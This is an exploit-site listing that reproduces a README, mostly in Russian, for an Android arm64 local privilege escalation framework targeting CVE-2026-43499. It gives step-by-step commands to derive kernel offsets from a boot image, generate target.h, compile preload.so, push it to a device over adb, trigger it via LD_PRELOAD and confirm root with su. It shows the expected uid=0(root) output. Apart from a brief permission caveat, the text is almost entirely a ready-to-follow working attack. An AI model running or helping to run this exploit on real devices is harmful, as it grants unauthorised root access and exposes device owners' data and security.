Sploitus

Exploit for CVE-2026-43499_HW-CLT-AL01

kitploit · 2026-08-19

Exploit Code

MARKDOWN380 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ZYCHEN027-CVE-2026-43499_HW-CLT-AL01
# CVE-2026-43499 Android arm64 адаптация локального повышения привилегий

Английский | Китайский

* * *

Это проект адаптации локального повышения привилегий для Android arm64 через **CVE-2026-43499**.

Проект генерирует `target.h` на основе `boot.img` целевого устройства и информации profile, затем компилирует соответствующий `preload.so`.

> Примечание: этот проект является универсальным адаптационным каркасом и не привязан к конкретной модели. Фактическая работоспособность определяется тем, сможет ли `generate_target.py` успешно сгенерировать `target.h`, а также результатами тестирования на реальном устройстве.

* * *

## Структура каталога

root@kitploit:~
    
    
    项目目录/
    ├── boot.img                   # 目标设备同固件 boot 镜像
    ├── profile.json               # 目标设备 profile
    ├── detect_offset.py           # 检测 profile 用
    ├── generate_target.py         # 生成 target.h
    ├── source/
    │   ├── Makefile
    │   └── src/
    │       └── target.h           # 自动生成
    └── source/build/bin/
        └── preload.so             # 编译产物
    

* * *

## Необходимые зависимости

### Базовые зависимости

root@kitploit:~
    
    
    Python 3
    LLVM / llvm-objdump
    Android NDK
    make
    adb
    

### Рекомендуемое окружение для Windows

Для Windows рекомендуется использовать:

root@kitploit:~
    
    
    MSYS2 UCRT64
    Android NDK r29
    LLVM Windows x86_64
    

Установка make в MSYS2:

root@kitploit:~
    
    
    pacman -S make coreutils
    

* * *

## Подготовка файлов

Вам потребуется:

root@kitploit:~
    
    
    boot.img
    profile.json
    

Пример profile:

root@kitploit:~
    
    
    {
      "p0_phys_offset": "0x80000000",
      "p0_kernel_phys_load": "0xc7800000"
    }
    

Эти два адреса в profile:

root@kitploit:~
    
    
    p0_phys_offset
    p0_kernel_phys_load
    

Можно получить, запустив скрипт на устройстве с Root и той же прошивкой, что и целевой boot.img:

root@kitploit:~
    
    
    python3 detect_offset.py
    

На Windows также можно:

root@kitploit:~
    
    
    python detect_offset.py
    

* * *

## Порядок использования

### 1\. Перейдите в каталог проекта

Linux / macOS:

root@kitploit:~
    
    
    cd PATH/project
    

Пример для Windows MSYS2:

root@kitploit:~
    
    
    cd PATH/CVE-2026-43499-Poc-Analysis-main
    

* * *

### 2\. Задайте путь к NDK

Пример для Linux / macOS:

root@kitploit:~
    
    
    export ANDROID_NDK_HOME=PATH/android-ndk
    

Пример для Windows MSYS2:

root@kitploit:~
    
    
    export ANDROID_NDK_HOME=PATH/android-ndk-r29
    

* * *

### 3\. Генерация target.h

root@kitploit:~
    
    
    python generate_target.py \
      --boot boot.img \
      --profile profile.json \
      -o source/src/target.h
    

Или через CMD:

root@kitploit:~
    
    
    python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h
    

Если появляется сообщение, что `llvm-objdump` не найден, укажите путь вручную:

root@kitploit:~
    
    
    python generate_target.py \
      --boot boot.img \
      --profile profile.json \
      -o source/src/target.h \
      --llvm-objdump "PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
    

Или через CMD:

root@kitploit:~
    
    
    python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h --llvm-objdump "PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
    

После успешного выполнения вы увидите что-то вроде:

root@kitploit:~
    
    
    生成成功: .../source/src/target.h
    kernel SHA-256: ...
    target macros: ...
    

* * *

### 4\. Сборка preload.so

Linux / macOS:

root@kitploit:~
    
    
    make -C source clean preload
    

Windows MSYS2:

root@kitploit:~
    
    
    make -C source clean preload NDK_PREBUILT=windows-x86_64
    

После успешной сборки будет создан:

root@kitploit:~
    
    
    source/build/bin/preload.so
    

* * *

### 5\. Отправьте на устройство и запустите

root@kitploit:~
    
    
    adb push source/build/bin/preload.so /data/local/tmp/preload.so
    

root@kitploit:~
    
    
    adb shell "chmod 0644 /data/local/tmp/preload.so"
    

root@kitploit:~
    
    
    adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"
    

Проверка:

root@kitploit:~
    
    
    adb shell "/data/local/tmp/su -c 'id'"
    

При успехе обычно вы увидите:

root@kitploit:~
    
    
    uid=0(root) gid=0(root)
    

* * *

## Одношаговый процесс в Windows MSYS2

На примере вашего пути:

root@kitploit:~
    
    
    cd PATH/CVE-2026-43499-annibale-main
    

root@kitploit:~
    
    
    export ANDROID_NDK_HOME=PATH/android-ndk-r29
    

root@kitploit:~
    
    
    python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h
    

root@kitploit:~
    
    
    make -C source clean preload NDK_PREBUILT=windows-x86_64
    

Итоговый файл:

root@kitploit:~
    
    
    source/build/bin/preload.so
    

* * *

## Частые вопросы

### Не найден llvm-objdump

Установите LLVM или используйте:

root@kitploit:~
    
    
    --llvm-objdump "PATH/llvm-objdump"
    

* * *

### Не найден make

В Windows установите через MSYS2:

root@kitploit:~
    
    
    pacman -S make coreutils
    

* * *

### Не найден clang

Обычно это означает, что путь к NDK настроен неправильно.

Пример для Windows MSYS2:

root@kitploit:~
    
    
    export ANDROID_NDK_HOME=PATH/android-ndk-r29
    make -C source clean preload NDK_PREBUILT=windows-x86_64
    

* * *

### Ошибка генерации target.h

Обычно это означает, что текущий `boot.img` или раскладка ядра ещё не адаптированы.

Обратите особое внимание на:

root@kitploit:~
    
    
    boot.img 是否完整
    profile 是否正确
    llvm-objdump 是否可用
    内核是否有 IKCONFIG / kallsyms / BTF
    

* * *

## Примечание

  * После смены устройства, системы или ядра необходимо заново сгенерировать `target.h`.
  * `target.h` не рекомендуется редактировать вручную — он должен автоматически генерироваться скриптом `generate_target.py`.
  * Используйте только на устройствах и в средах, где у вас есть разрешение.